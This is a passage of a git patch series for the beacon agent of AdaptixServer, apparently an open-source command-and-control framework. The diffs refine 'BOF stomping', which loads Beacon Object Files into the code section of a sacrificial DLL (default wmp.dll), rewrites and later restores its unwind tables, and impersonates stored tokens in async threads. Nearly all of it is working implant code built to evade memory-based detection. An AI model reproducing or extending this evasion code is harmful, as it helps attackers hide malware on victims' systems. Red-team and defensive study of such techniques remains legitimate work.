b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp index a71f22310..05416ba8c 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp @@ -521,13 +521,6 @@ Packer* ObjectExecute(ULONG taskId, char* targetFuncName, unsigned char* coffFil if (!result) goto RET; -#ifdef _WIN64 - if (g_BofStomp.initialised && g_BofStomp.inUse) { - DWORD stompProt = 0; - ApiWin->VirtualProtect(g_BofStomp.cursorBase, g_BofStomp.cursorSize, PAGE_EXECUTE_READ, &stompProt); - } -#endif - ExecuteProc(entryFuncName, args, argsSize, pSymbolTable, pHeader, mapSections); RET: From 91e5dbc71d2144cd55fe544227614c34c56b5920 Mon Sep 17 00:00:00 2001 From: Maor Sabag Date: Wed, 29 Apr 2026 16:56:24 +0300 Subject: [PATCH 4/4] Bug fixes and logic improvement --- .../beacon_agent/src_beacon/beacon/Boffer.cpp | 33 +++---- .../src_beacon/beacon/bof_loader.cpp | 92 +++++++++++++++++-- .../src_beacon/beacon/bof_stomp.cpp | 50 +++++----- .../src_beacon/beacon/bof_stomp.h | 3 + .../beacon_agent/src_beacon/files/config.tpl | 27 ++++++ 5 files changed, 155 insertions(+), 50 deletions(-) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp index b78185f27..f306e0ce5 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Boffer.cpp @@ -107,27 +107,26 @@ AsyncBofContext* Boffer::CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* cof DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) { AsyncBofContext* ctx = (AsyncBofContext*)lpParameter; - if (!ctx) - return 1; - + if (!ctx) return 1; + tls_CurrentBofContext = ctx; - + if (g_StoredToken) ApiWin->ImpersonateLoggedOnUser(g_StoredToken); - + ctx->state = ASYNC_BOF_STATE_RUNNING; - - COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile; + + COF_HEADER* pHeader = (COF_HEADER*)ctx->coffFile; COF_SYMBOL* pSymbolTable = (COF_SYMBOL*)(ctx->coffFile + pHeader->PointerToSymbolTable); - - BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections); + + /* AllocateSections now returns mapFunctions alongside sections */ + BOOL result = AllocateSections(ctx->coffFile, pHeader, ctx->mapSections, &ctx->mapFunctions); if (!result) { ctx->state = ASYNC_BOF_STATE_FINISHED; tls_CurrentBofContext = NULL; return 1; } - - ctx->mapFunctions = (LPVOID*)ApiWin->VirtualAlloc(NULL, MAP_FUNCTIONS_SIZE, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + if (!ctx->mapFunctions) { CleanupSections(ctx->mapSections, MAX_SECTIONS, NULL); ctx->state = ASYNC_BOF_STATE_FINISHED; @@ -144,7 +143,7 @@ DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) tls_CurrentBofContext = NULL; return 1; } - + ApiWin->EnterCriticalSection(&ctx->outputLock); ctx->outputBuffer->Pack32(ctx->taskId); ctx->outputBuffer->Pack32(50); // COMMAND_EXEC_BOF @@ -152,11 +151,13 @@ DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) ApiWin->LeaveCriticalSection(&ctx->outputLock); CHAR* entryFuncName = PrepareEntryName(ctx->entryName); - if (entryFuncName) { - ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, pSymbolTable, pHeader, ctx->mapSections); + if (entryFuncName) { + ExecuteProc(entryFuncName, ctx->args, ctx->argsSize, + pSymbolTable, pHeader, ctx->mapSections); FreeFunctionName(entryFuncName); } + /* Cleanup — restores winmm .text and releases lock if stomping was used */ CleanupSections(ctx->mapSections, MAX_SECTIONS, ctx->mapFunctions); ctx->mapFunctions = NULL; @@ -168,10 +169,10 @@ DWORD WINAPI AsyncBofThreadProc(LPVOID lpParameter) ctx->state = ASYNC_BOF_STATE_FINISHED; tls_CurrentBofContext = NULL; - + if (g_AsyncBofManager) g_AsyncBofManager->SignalWakeup(); - + return 0; } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp index 05416ba8c..e8f0db115 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_loader.cpp @@ -259,6 +259,19 @@ void CleanupSections(PCHAR* mapSections, int maxSections, LPVOID mapFunctions) } if (stomped) { + if (g_BofStomp.pdataStomped && + g_BofStomp.savedPdata && + g_BofStomp.pdataBase && + g_BofStomp.pdataSize) { + DWORD pdProt = 0; + if (ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, PAGE_READWRITE, &pdProt)) { + memcpy(g_BofStomp.pdataBase, g_BofStomp.savedPdata, g_BofStomp.pdataSize); + DWORD pdTmp = 0; + ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, pdProt, &pdTmp); + } + g_BofStomp.pdataStomped = FALSE; + } + DWORD oldProt = 0; ApiWin->VirtualProtect(g_BofStomp.cursorBase, g_BofStomp.cursorSize, PAGE_EXECUTE_READWRITE, &oldProt); @@ -401,6 +414,7 @@ void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYM BOF_RUNTIME_FUNCTION* rfEntries = NULL; DWORD rfEntriesSize = 0; int registeredCount = 0; + BOOL wroteInPlace = FALSE; #endif BOOL entryFound = FALSE; @@ -420,6 +434,14 @@ void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYM memcpy(bofPdata, (unsigned char*)pHeader + s->PointerToRawData, bofPdataSize); + BOOL stompInPlace = (g_BofStomp.initialised && + g_BofStomp.inUse && + g_BofStomp.pdataBase && + g_BofStomp.moduleBase && + numEntries <= (int)g_BofStomp.pdataCapacity); + ULONG_PTR rvaBase = stompInPlace ? (ULONG_PTR)g_BofStomp.moduleBase + : (ULONG_PTR)mapSections[0]; + COF_RELOCATION* relocs = (COF_RELOCATION*)((unsigned char*)pHeader + s->PointerToRelocations); for (int ri = 0; ri < s->NumberOfRelocations; ri++) { COF_RELOCATION* r = &relocs[ri]; @@ -431,15 +453,56 @@ void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYM char* targetBase = mapSections[sym.SectionNumber - 1]; if (!targetBase) continue; - DWORD* field = (DWORD*)((unsigned char*)bofPdata + r->VirtualAddress); - DWORD addend = *field; - *field = (DWORD)((ULONG_PTR)targetBase - (ULONG_PTR)mapSections[0] + (DWORD)sym.Value + addend); + DWORD* field = (DWORD*)((unsigned char*)bofPdata + r->VirtualAddress); + DWORD addend = *field; + ULONG_PTR absolute = (ULONG_PTR)targetBase + (DWORD)sym.Value + addend; + + if (absolute < rvaBase || (absolute - rvaBase) > 0xFFFFFFFFULL) { + if (stompInPlace) { + stompInPlace = FALSE; + rvaBase = (ULONG_PTR)mapSections[0]; + memcpy(bofPdata, (unsigned char*)pHeader + s->PointerToRawData, bofPdataSize); + ri = -1; + continue; + } + } + *field = (DWORD)(absolute - rvaBase); } - rfEntries = bofPdata; - rfEntriesSize = bofPdataSize; - bofPdata = NULL; - { + if (stompInPlace) { + for (int a = 1; a < numEntries; a++) { + BOF_RUNTIME_FUNCTION key = bofPdata[a]; + int b = a - 1; + while (b >= 0 && bofPdata[b].BeginAddress > key.BeginAddress) { + bofPdata[b + 1] = bofPdata[b]; + b--; + } + bofPdata[b + 1] = key; + } + + DWORD oldProt = 0; + if (ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, PAGE_READWRITE, &oldProt)) { + BOF_RUNTIME_FUNCTION* dst = (BOF_RUNTIME_FUNCTION*)g_BofStomp.pdataBase; + memcpy(dst, bofPdata, (DWORD)numEntries * sizeof(BOF_RUNTIME_FUNCTION)); + + for (DWORD k = (DWORD)numEntries; k < g_BofStomp.pdataCapacity; k++) { + dst[k].BeginAddress = 0xFFFFFFFF; + dst[k].EndAddress = 0xFFFFFFFF; + dst[k].UnwindData = 0; + } + + DWORD tmp = 0; + ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, oldProt, &tmp); + g_BofStomp.pdataStomped = TRUE; + wroteInPlace = TRUE; + } + + MemFreeLocal((LPVOID*)&bofPdata, bofPdataSize); + bofPdata = NULL; + } else { + rfEntries = bofPdata; + rfEntriesSize = bofPdataSize; + bofPdata = NULL; BOOL ok = (BOOL)(ULONG_PTR)ApiNt->RtlAddFunctionTable( (void*)rfEntries, numEntries, (DWORD64)mapSections[0] ); @@ -450,6 +513,7 @@ void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYM MemFreeLocal((LPVOID*)&bofPdata, bofPdataSize); break; } + #endif for (int i = 0; i < pHeader->NumberOfSymbols; i++) { @@ -470,6 +534,20 @@ void ExecuteProc(char* entryFuncName, unsigned char* args, int argsSize, COF_SYM ApiNt->RtlDeleteFunctionTable((void*)&rfEntries[j]); } } + + if (wroteInPlace && + g_BofStomp.pdataStomped && + g_BofStomp.savedPdata && + g_BofStomp.pdataBase && + g_BofStomp.pdataSize) { + DWORD oldProt = 0; + if (ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, PAGE_READWRITE, &oldProt)) { + memcpy(g_BofStomp.pdataBase, g_BofStomp.savedPdata, g_BofStomp.pdataSize); + DWORD tmp = 0; + ApiWin->VirtualProtect(g_BofStomp.pdataBase, g_BofStomp.pdataSize, oldProt, &tmp); + } + g_BofStomp.pdataStomped = FALSE; + } #endif RET: diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp index 67bb14f84..2b6f6d63a 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.cpp @@ -145,43 +145,39 @@ static BOOL InitBofStompLoadLibrary(const char* sacrificialDll) pdataBase = (PVOID)((ULONG_PTR)hMod + excDir->VirtualAddress); pdataSize = excDir->Size; } - DWORD hdProt = 0; - if (ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), PAGE_READWRITE, &hdProt)) { - excDir->VirtualAddress = 0; - excDir->Size = 0; - ApiWin->VirtualProtect(excDir, sizeof(IMAGE_DATA_DIRECTORY), hdProt, &hdProt); - } } PVOID savedPdata = NULL; if (pdataBase && pdataSize) { savedPdata = MemAllocLocal(pdataSize); - if (savedPdata) { - memcpy(savedPdata, pdataBase, pdataSize); - DWORD pdataProt = 0; - ApiWin->VirtualProtect(pdataBase, pdataSize, PAGE_READWRITE, &pdataProt); - memset(pdataBase, 0, pdataSize); - ApiWin->VirtualProtect(pdataBase, pdataSize, pdataProt, &pdataProt); + if (!savedPdata) { + LPVOID savedPtr = saved; + MemFreeLocal(&savedPtr, (DWORD)textSize); + return FALSE; } + memcpy(savedPdata, pdataBase, pdataSize); } ApiWin->InitializeCriticalSection(&g_BofStomp.lock); - g_BofStomp.hModule = hMod; - g_BofStomp.mappedView = NULL; - g_BofStomp.viewSize = 0; - g_BofStomp.method = 0; - g_BofStomp.textBase = textBase; - g_BofStomp.textSize = textSize; - g_BofStomp.savedBytes = saved; - g_BofStomp.savedSize = (DWORD)textSize; - g_BofStomp.pdataBase = pdataBase; - g_BofStomp.pdataSize = pdataSize; - g_BofStomp.savedPdata = savedPdata; - g_BofStomp.cursorBase = NULL; - g_BofStomp.cursorSize = 0; - g_BofStomp.inUse = FALSE; - g_BofStomp.initialised = TRUE; + g_BofStomp.hModule = hMod; + g_BofStomp.mappedView = NULL; + g_BofStomp.viewSize = 0; + g_BofStomp.method = 0; + g_BofStomp.textBase = textBase; + g_BofStomp.textSize = textSize; + g_BofStomp.savedBytes = saved; + g_BofStomp.savedSize = (DWORD)textSize; + g_BofStomp.pdataBase = pdataBase; + g_BofStomp.pdataSize = pdataSize; + g_BofStomp.savedPdata = savedPdata; + g_BofStomp.pdataCapacity = pdataSize ? (pdataSize / (sizeof(DWORD) * 3)) : 0; + g_BofStomp.moduleBase = (PVOID)hMod; + g_BofStomp.pdataStomped = FALSE; + g_BofStomp.cursorBase = NULL; + g_BofStomp.cursorSize = 0; + g_BofStomp.inUse = FALSE; + g_BofStomp.initialised = TRUE; return TRUE; } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h index f01caec83..32126e6d5 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/bof_stomp.h @@ -14,6 +14,9 @@ typedef struct _BOF_STOMP_CTX { PVOID pdataBase; DWORD pdataSize; PVOID savedPdata; + DWORD pdataCapacity; + PVOID moduleBase; + BOOL pdataStomped; PVOID cursorBase; DWORD cursorSize; BOOL inUse; diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/files/config.tpl b/AdaptixServer/extenders/beacon_agent/src_beacon/files/config.tpl index cc170ce2a..d63771677 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/files/config.tpl +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/files/config.tpl @@ -22,4 +22,31 @@ int isIatHidingEnabled() #else return 0; #endif +} + +int isBofStompEnabled() +{ +#if defined(USE_BOF_STOMP) + return 1; +#else + return 0; +#endif +} + +char* getBofStompDll() +{ +#if defined(BOF_STOMP_DLL_NAME) + return (char*) BOF_STOMP_DLL_NAME; +#else + return (char*)"wmp.dll"; +#endif +} + +int getBofStompMethod() +{ +#if defined(BOF_STOMP_METHOD) + return BOF_STOMP_METHOD; +#else + return 0; +#endif } \ No newline at end of file